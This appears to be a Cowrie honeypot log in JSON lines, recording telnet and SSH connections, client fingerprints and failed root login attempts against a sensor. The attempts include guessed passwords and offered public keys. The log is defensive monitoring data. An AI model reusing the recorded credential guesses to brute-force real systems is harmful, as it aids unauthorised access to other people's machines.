{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45002,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8bf2ef2cfe","protocol":"telnet","message":"New connection: 69.4.83.194:45002 (159.203.135.109:23) [session: 1c8bf2ef2cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:13.435257Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46108,"dst_ip":"159.203.135.109","dst_port":23,"session":"531e0da1037f","protocol":"telnet","message":"New connection: 69.4.83.194:46108 (159.203.135.109:23) [session: 531e0da1037f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:16.431674Z"}
{"eventid":"cowrie.session.closed","duration":36.46865177154541,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:19.124618Z","src_ip":"69.4.83.194","session":"9f72682ca78f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58574,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c6dbeed125f","protocol":"ssh","message":"New connection: 103.27.238.114:58574 (10.17.0.5:22) [session: 3c6dbeed125f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:22.902950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:22.908309Z","src_ip":"103.27.238.114","session":"3c6dbeed125f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:23.174033Z","src_ip":"103.27.238.114","session":"3c6dbeed125f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.135.137.194","src_port":56072,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c58e295ae5","protocol":"ssh","message":"New connection: 185.135.137.194:56072 (10.17.0.5:22) [session: a5c58e295ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:23.843716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:23.848775Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:23.944217Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytrhjvfyn","message":"login attempt [root/ytrhjvfyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:23.969161Z","src_ip":"103.27.238.114","session":"3c6dbeed125f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:a1:6b:53:70:e0:4d:83:7b:e6:d2:80:09:bb:40:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6uwQRmvkkhHE7/HHwXjKl3hxocxMsLwhNUDo1XOSVq1xzK7kYNcGQ+SD2AC9XFGU9o3rOPW5E+9JV0qc4McM67lCBPNTHHyLMRznkG1AdXj9z2TLMzGDmgIVHDQzwE21sJmJHqfiPlZ7kqr1wJQxZ44NGrKZUe6/dbY6ZZP368CyCpw0cW/TONW72/MH2Lu9bgrThEMJpWREO3QJSnbzkKs2jKW/P5Pdd6AaR8XZ5lVxe5FFIrbdT5ib9xKf/h9eqVMUcXeJFGvYc4KyWlbyCkeG2SMeL4wUVKsoVDXcI3tgQ7jGTJ9uVP4XFmMhSi+Z41pAorT0hIROaBB2mfGFznbUsDME8YY5LowcSMYaRAffu4fqNGtYX96SUKmiNElrTdunJoo8K8HygrCWEQszPcnRw+TUX2qgZioEjK3pZS6lVfnxOi6eWIlhaGsJEtph4Qt10LKblWf8V7XLxvtq54YBDsYatoC3qI2FKwWuRtt3Tq4QP2ucEUCIdXFN0i9M33qUOXx+AsWZ0pxtnfJ+TAkFjm8YCg4dqM0qJZBwV+RXrmX5Zu9R4cyxf3Kj1wIVUD+UaCQdRM7m7jvrNhcLB/LcgFe+mY1Oz7MPx2kb7cOcGH02TVijrQtxt26a9ckDAbpIH5E7yAMLRGsEPz2YiwHiT0Q3i8TgenciSqftO4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:a1:6b:53:70:e0:4d:83:7b:e6:d2:80:09:bb:40:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.405069Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:a1:6b:53:70:e0:4d:83:7b:e6:d2:80:09:bb:40:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6uwQRmvkkhHE7/HHwXjKl3hxocxMsLwhNUDo1XOSVq1xzK7kYNcGQ+SD2AC9XFGU9o3rOPW5E+9JV0qc4McM67lCBPNTHHyLMRznkG1AdXj9z2TLMzGDmgIVHDQzwE21sJmJHqfiPlZ7kqr1wJQxZ44NGrKZUe6/dbY6ZZP368CyCpw0cW/TONW72/MH2Lu9bgrThEMJpWREO3QJSnbzkKs2jKW/P5Pdd6AaR8XZ5lVxe5FFIrbdT5ib9xKf/h9eqVMUcXeJFGvYc4KyWlbyCkeG2SMeL4wUVKsoVDXcI3tgQ7jGTJ9uVP4XFmMhSi+Z41pAorT0hIROaBB2mfGFznbUsDME8YY5LowcSMYaRAffu4fqNGtYX96SUKmiNElrTdunJoo8K8HygrCWEQszPcnRw+TUX2qgZioEjK3pZS6lVfnxOi6eWIlhaGsJEtph4Qt10LKblWf8V7XLxvtq54YBDsYatoC3qI2FKwWuRtt3Tq4QP2ucEUCIdXFN0i9M33qUOXx+AsWZ0pxtnfJ+TAkFjm8YCg4dqM0qJZBwV+RXrmX5Zu9R4cyxf3Kj1wIVUD+UaCQdRM7m7jvrNhcLB/LcgFe+mY1Oz7MPx2kb7cOcGH02TVijrQtxt26a9ckDAbpIH5E7yAMLRGsEPz2YiwHiT0Q3i8TgenciSqftO4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.409589Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:5d:c2:51:15:c3:b5:cc:8b:c2:55:31:d0:2a:97:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlY7N4Ql5oRoWJzkV8k/bheV09hqKMqZQ6hrhLu3C9DFG+tHl0u7AdT0qF4nYAmoka43GurnP4zcDI+LlUH3Mr/hUR74MiLuw4iodd8Waw0NuKHlNnXukdsn30VeYnR06vNtHQXPnp+IEvkAkpK3VPaTggR3bwp4+6FY8krueaDhtsFeb0yINKxMQbyeOFiBC3LMuAg3tLTfW1hMZUG1Ex/YRTAUDCQE5mPkbmDti/xae1sB/Fw4lu85RmY8n1bSavGeYPiWvPjPwnUM9MbCjOLUwjQt2yShllpPtheRnPKapx66VbitCS+AoqMPxo8V6rX+bfvRTIYwoZXUYQrOrN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:5d:c2:51:15:c3:b5:cc:8b:c2:55:31:d0:2a:97:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.506009Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:5d:c2:51:15:c3:b5:cc:8b:c2:55:31:d0:2a:97:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlY7N4Ql5oRoWJzkV8k/bheV09hqKMqZQ6hrhLu3C9DFG+tHl0u7AdT0qF4nYAmoka43GurnP4zcDI+LlUH3Mr/hUR74MiLuw4iodd8Waw0NuKHlNnXukdsn30VeYnR06vNtHQXPnp+IEvkAkpK3VPaTggR3bwp4+6FY8krueaDhtsFeb0yINKxMQbyeOFiBC3LMuAg3tLTfW1hMZUG1Ex/YRTAUDCQE5mPkbmDti/xae1sB/Fw4lu85RmY8n1bSavGeYPiWvPjPwnUM9MbCjOLUwjQt2yShllpPtheRnPKapx66VbitCS+AoqMPxo8V6rX+bfvRTIYwoZXUYQrOrN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.509951Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:02:79:3b:05:77:4e:17:3c:0b:da:06:c0:22:51:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiM2NK+qXmvjYG7wULWyQna5QhVNW8lSwXlGQbloqlpRu0Ji+Zr8a9xxVmKtUILeI3Cs3aODEF0dF0vVKcwFwpBgScv6OfAjK5gVeqP+z1Wkm4dRNVzJtddeqN2RgSHZiSDSwk+9tKzsTTBYhRnMWaFeBVpIyrB9LAD/ot20yKVeYC8D9chx8RHXngDr05c22RTRslBfCIkGc++UC5YCxs28b0tPqoN2oHyPGLD+GjavXrjehBFLzP4GQRWE7NCn1C5/hl3Qf6e4ZflrA+ddO3+BcNfoovVpTh7IrG03A6VOYu3veS+RRaqUXhEa6O9PNQotnylGjbVmgpLSPEzCdP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:02:79:3b:05:77:4e:17:3c:0b:da:06:c0:22:51:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.608891Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:02:79:3b:05:77:4e:17:3c:0b:da:06:c0:22:51:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiM2NK+qXmvjYG7wULWyQna5QhVNW8lSwXlGQbloqlpRu0Ji+Zr8a9xxVmKtUILeI3Cs3aODEF0dF0vVKcwFwpBgScv6OfAjK5gVeqP+z1Wkm4dRNVzJtddeqN2RgSHZiSDSwk+9tKzsTTBYhRnMWaFeBVpIyrB9LAD/ot20yKVeYC8D9chx8RHXngDr05c22RTRslBfCIkGc++UC5YCxs28b0tPqoN2oHyPGLD+GjavXrjehBFLzP4GQRWE7NCn1C5/hl3Qf6e4ZflrA+ddO3+BcNfoovVpTh7IrG03A6VOYu3veS+RRaqUXhEa6O9PNQotnylGjbVmgpLSPEzCdP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.612734Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:e3:f2:7d:32:58:6a:11:5d:af:cc:11:0d:5d:79:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuHCDjhhXXzHhmRFtaMWtChs7sMz8b/VVWbON7EcQIPPozNGJIkiLkX3ykaECII8T6cy9WCtuNTh/bK2kcq9pOprzyNPshZoMQxvBakESzQl0e+EPt4lqohDoWSFh1edplBXgTBnANRz9Twq/T3g3Vnatal+O/noO/7iwLNmdTdtzagGR+l0xnmH4tJRJkIaUQyKevx39gXp9B5AcKpKv5Y4XIeTbZ57TEyLSWjq6DfSxmjD/cKkuc0KkDv+CJu/uDfrKMe0ZoR9ZSVGwUiGGEHkZzFrTQJdAlZLhjnn6pRF2EkDDRPmuWbPL33QYkN+0AVFSILMTwr3VODt9sMjauw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:e3:f2:7d:32:58:6a:11:5d:af:cc:11:0d:5d:79:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.709098Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:e3:f2:7d:32:58:6a:11:5d:af:cc:11:0d:5d:79:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuHCDjhhXXzHhmRFtaMWtChs7sMz8b/VVWbON7EcQIPPozNGJIkiLkX3ykaECII8T6cy9WCtuNTh/bK2kcq9pOprzyNPshZoMQxvBakESzQl0e+EPt4lqohDoWSFh1edplBXgTBnANRz9Twq/T3g3Vnatal+O/noO/7iwLNmdTdtzagGR+l0xnmH4tJRJkIaUQyKevx39gXp9B5AcKpKv5Y4XIeTbZ57TEyLSWjq6DfSxmjD/cKkuc0KkDv+CJu/uDfrKMe0ZoR9ZSVGwUiGGEHkZzFrTQJdAlZLhjnn6pRF2EkDDRPmuWbPL33QYkN+0AVFSILMTwr3VODt9sMjauw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.712961Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:ee:e7:19:9b:bb:75:61:46:07:8e:67:34:3e:c4:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOHKbFLq2evSOkCBdn7VlD7yH63vfxjCSHCBbUca8I0y7tA3LlbwbGWdB3F1z1fmXcO3WvW8MgKUrMogJGfz0QRB2foXgYFRuq0y0WfWBCZyySqvxdRMwOxFoXGX6bbP38Tg2ho7kmlDtrSgSKJ++josOwKO5CaXEITy/KeCJzOUBFiL7uFwzsOQG0YHX86Y20tFoJ7OAwzomaDwveZSeGsd4w3yAcqPBGOyB6SLxMEXiwwXrJ0RZ6BGmZhDzT2J6D+nVmmIzLKtW9j6bJvrERmHf2nMpef++iSlIrlvJC7I9IkQoV0lBXgrKMIlxlsWL7cJ1+EYyqzvTpsUQD6uz7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:ee:e7:19:9b:bb:75:61:46:07:8e:67:34:3e:c4:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.810308Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:ee:e7:19:9b:bb:75:61:46:07:8e:67:34:3e:c4:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOHKbFLq2evSOkCBdn7VlD7yH63vfxjCSHCBbUca8I0y7tA3LlbwbGWdB3F1z1fmXcO3WvW8MgKUrMogJGfz0QRB2foXgYFRuq0y0WfWBCZyySqvxdRMwOxFoXGX6bbP38Tg2ho7kmlDtrSgSKJ++josOwKO5CaXEITy/KeCJzOUBFiL7uFwzsOQG0YHX86Y20tFoJ7OAwzomaDwveZSeGsd4w3yAcqPBGOyB6SLxMEXiwwXrJ0RZ6BGmZhDzT2J6D+nVmmIzLKtW9j6bJvrERmHf2nMpef++iSlIrlvJC7I9IkQoV0lBXgrKMIlxlsWL7cJ1+EYyqzvTpsUQD6uz7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.814252Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:24.913716Z","src_ip":"185.135.137.194","session":"a5c58e295ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:25.238056Z","src_ip":"103.27.238.114","session":"3c6dbeed125f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":38490,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27dc7046154","protocol":"ssh","message":"New connection: 20.160.86.7:38490 (10.17.0.5:22) [session: e27dc7046154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:29.645136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:29.650180Z","src_ip":"20.160.86.7","session":"e27dc7046154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:29.729607Z","src_ip":"20.160.86.7","session":"e27dc7046154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31415926","message":"login attempt [root/31415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:30.082982Z","src_ip":"20.160.86.7","session":"e27dc7046154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51092,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a1e1dd2605c","protocol":"telnet","message":"New connection: 69.4.83.194:51092 (159.203.135.109:23) [session: 5a1e1dd2605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:31.012816Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:31.165487Z","src_ip":"20.160.86.7","session":"e27dc7046154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":48390,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e4ff7c9751","protocol":"ssh","message":"New connection: 101.47.156.21:48390 (10.17.0.5:22) [session: b3e4ff7c9751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:35.334688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:35.341614Z","src_ip":"101.47.156.21","session":"b3e4ff7c9751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:35.580757Z","src_ip":"101.47.156.21","session":"b3e4ff7c9751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer99","message":"login attempt [root/killer99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:36.570236Z","src_ip":"101.47.156.21","session":"b3e4ff7c9751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:37.812552Z","src_ip":"101.47.156.21","session":"b3e4ff7c9751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55560,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b0782bc7ea","protocol":"telnet","message":"New connection: 69.4.83.194:55560 (159.203.135.109:23) [session: 52b0782bc7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:41.951249Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17035,"dst_ip":"10.17.0.5","dst_port":22,"session":"84578d65045e","protocol":"ssh","message":"New connection: 2.57.121.25:17035 (10.17.0.5:22) [session: 84578d65045e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:42.370332Z"}
